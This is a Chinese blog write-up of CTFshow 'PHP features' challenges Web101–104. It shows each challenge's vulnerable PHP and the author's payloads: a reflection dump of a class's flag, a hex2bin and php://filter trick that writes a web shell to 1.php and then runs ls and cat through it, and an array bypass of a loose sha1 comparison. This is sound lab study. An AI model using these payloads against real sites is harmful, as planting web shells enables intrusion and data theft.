CTFshow系列——PHP特性Web101-104
这两天也是写了第三届“陇剑杯” 的一些WP,想看的师傅可以去看看;当然,回归正题,这次给大家带来的还是PHP特性的文章;
文章目录
- Web101
- 网上WP
- Web102(很重要)
- 代码分析
- 详细分析
- Web103
- Web104(新题型)
- 总结
Web101
好了话不多说,直接开始:
<?phphighlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){eval("$v2('ctfshow')$v3");}}}?>Notice: Undefined index: v1 in /var/www/html/index.php on line 17Notice: Undefined index: v2 in /var/www/html/index.php on line 18Notice: Undefined index: v3 in /var/www/html/index.php on line 19
相比于Web100,可以看到主要是针对$v2
和$v3
参数做了过滤;
# 100关的payload
?v1=1&v2=system("cp+ctfshow.php+1.txt")?>&v3=;
对照上一关的payload,我们发现;
&
>
[a-z]
没有被过滤;
所以现在我们的问题就是如何把 “cp+ctfshow.php+1.txt” 给表示出来:
嗯。。。没找到payload
网上WP
-
涉及到类,可以考虑使用 ReflectionClass 建立反射类。
- new ReflectionClass($class) 可以获得类的反射对象(包含元数据信息)。
-
元数据对象(包含class的所有属性/方法的元数据信息)。
-
payload:
v1=1&v2=echo new ReflectionClass&v3=;
flag中有些字符经过ACSII码变换,好像还少了一位,爆破即可
(吐槽:找到flag之后还要在提交页面爆破flag的最后一位也是没想到…)
得到结果如下:
[ public $flag_b98b6f240x2df4bc0x2d46be0x2d9b5e0x2dd07fffd3656 ]
注意:替换0x2d为-,最后一位需要爆破16次,题目给的flag少一位
替换后得到结果:
然后再在提交页面爆破:
千万不要爆破太快:
这就是教训。。。
Web102(很重要)
<?phphighlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){$s = substr($v2,2);$str = call_user_func($v1,$s);echo $str;file_put_contents($v3,$str);
}
else{die('hacker');
}?>Notice: Undefined index: v1 in /var/www/html/index.php on line 14Notice: Undefined index: v2 in /var/www/html/index.php on line 15Notice: Undefined index: v3 in /var/www/html/index.php on line 16
hacker
观察代码,我们可以发现多了 call_user_func();
函数,以及$v1
变为了POST型;
代码分析
$v4 = is_numeric($v2) and is_numeric($v3);
:可以使用十六进制(0x…)、科学计数法(1e3)和只包含数字的字符串都判断为 true$s = substr($v2,2);
:这是漏洞的核心。- substr() 函数从 $v2 的第 2 个字符(从 0 开始计数)开始,截取后面的所有字符串。
- 这里的目的是为了让你绕过
is_numeric()
的检查。如果 v2 的值是 0x 开头,substr($v2, 2) 就会截取掉 0x,得到一个非数字的字符串。
$str = call_user_func($v1,$s);
:- call_user_func() 是一个可变函数,它会调用 $v1 中指定的函数,并以 $s 作为参数。
$v1
是你通过 POST 控制的函数名。$s
是你通过 GET 控制的参数 v2 经过 substr() 截取后的结果。
- 这是一个典型的任意函数执行点。
file_put_contents($v3,$str);
:- 这是文件写入漏洞。file_put_contents() 会创建一个文件,其文件名由
$v3
决定,文件内容由$str
(即 $v1 函数的返回值)决定。
- 这是文件写入漏洞。file_put_contents() 会创建一个文件,其文件名由
详细分析
这里我看了WP后,自己分析了一下,顿时感到实在是太巧妙了:
# payload
?v2=115044383949474167494352665230565557324664594473&v3=php://filter/write=convert.base64-decode/resource=1.php# POST
v1=hex2bin
从payload中我们可以看出使用了php伪协议,有什么用呢?听我分析
-
首先
v2
一大串数字因为substr() 函数,所以是从第2位开始取值,也就是50…73- 将其十六进制编码后结果是为:PD89IGAgICRfR0VUW2FdYDs
- 而base64编码后结果为:<?=
$_GET[a]
;
-
因为代码中没有解析base64的作用,所以
v3
的php伪协议作用就在此; -
v1
中的hex2bin() 函数会将十六进制字符串解码为 ASCII 字符串
所以这三个参数的作用就是:将
<?= $_GET[a];
写入1.php文件中
随后我们在访问url/1.php文件并通过GET方法使用参数a:
# payload
1.php?a=ls
后面的操作就不多说了:
# payload
1.php?a=cat flag.php # flag在源代码里
唉,还是太菜了;
Web103
<?phphighlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){$s = substr($v2,2);$str = call_user_func($v1,$s);echo $str;if(!preg_match("/.*p.*h.*p.*/i",$str)){file_put_contents($v3,$str);}else{die('Sorry');}
}
else{die('hacker');
}?>Notice: Undefined index: v1 in /var/www/html/index.php on line 14Notice: Undefined index: v2 in /var/www/html/index.php on line 15Notice: Undefined index: v3 in /var/www/html/index.php on line 16
hacker
看着就是多了preg_match("/.*p.*h.*p.*/i",$str)
,对php进行了过滤,但我们php伪协议可不管这种,所以payload还是一样:
# payload
?v2=115044383949474167494352665230565557324664594473&v3=php://filter/write=convert.base64-decode/resource=1.php# POST
v1=hex2bin
随后访问1.php
1.php?a=ls
1.php?a=cat flag.php # flag在源代码里
–
Web104(新题型)
<?phphighlight_file(__FILE__);
include("flag.php");if(isset($_POST['v1']) && isset($_GET['v2'])){$v1 = $_POST['v1'];$v2 = $_GET['v2'];if(sha1($v1)==sha1($v2)){echo $flag;}
}?>
哈哈,新题型刚出场都是这么的眉清目秀;可惜啊,越往后就是岁月不饶人了。。。
简单代码分析:
if(isset($_POST['v1']) && isset($_GET['v2']))
:- 代码首先检查 POST 请求中是否有名为 v1 的参数,以及 GET 请求中是否有名为 v2 的参数。两个条件都必须满足,程序才会继续执行。
if(sha1($v1)==sha1($v2))
:- 这是核心的逻辑判断。它将 v1 和 v2 的值分别计算 SHA1 哈希值,然后使用双等号
==
进行比较。如果两个哈希值相等,就会输出 flag。 - 双等号 == 进行比较,这是一种弱类型比较。当 sha1() 函数接收一个数组时,它会返回 false,PHP 在进行弱类型比较时会将两个 false 判断为相等。
- 这是核心的逻辑判断。它将 v1 和 v2 的值分别计算 SHA1 哈希值,然后使用双等号
(数组绕过,上一题型刚开始用的方法,不记得的就回去看,温故而知新)
得到flag;
总结
温故而知新,明天出一篇勒索的应急响应文章;